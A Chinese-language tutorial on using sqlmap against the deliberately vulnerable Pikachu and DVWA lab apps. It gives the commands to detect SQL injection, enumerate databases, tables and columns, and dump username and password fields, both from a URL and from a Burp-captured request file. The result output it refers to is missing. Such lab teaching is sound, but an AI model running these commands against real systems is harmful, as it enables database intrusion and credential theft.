sqlmap支持五种不同的注入模式:
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句。
对url检测看是否存在注入
sqlmap.py -u "url" --batch
--batch 永远不要要求用户输入,使用默认行为
确认存在注入,指定数据库类型暴库
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -dbs --batch
结果如下:
枚举指定数据库中的表
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -tables --batch
结果如下:
枚举指定表中字段
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -columns --batch
结果:
dump出password和username字段的数据
sqlmap.py -u "http://192.168.1.41/pikachu-master/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" -dbms mysql -D pikachu -T users -C "username,password" -dump --batch
结果如下:
到这就完了,更多参数自己尝试
首先用burpsuite抓包工具抓取要测试的目标站点包,再把请求包复制到sqlmap目录下创建一个url.txt文件。
之后使用-r参数开始跑
sqlmap.py -r url.txt
获取到数据库类型和注入类型之后开始暴库
使用-dbs列出数据库名
sqlmap.py -r url.txt -dbms mysql -level 3 -dbs
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面),-dbs列出数据库名 得到结果如下:
枚举指定数据库中的表
这里演示枚举dvwa库中的表
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -tables
结果如下:
接下来继续枚举表中的字段
这里演示users表
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -columns
结果如下:
dump出password和user字段的数据
sqlmap.py -r url.txt -dbms mysql -level 3 -D dvwa -T users -C "password,user" -dump
选项全部默认,结果如下:
到此就结束了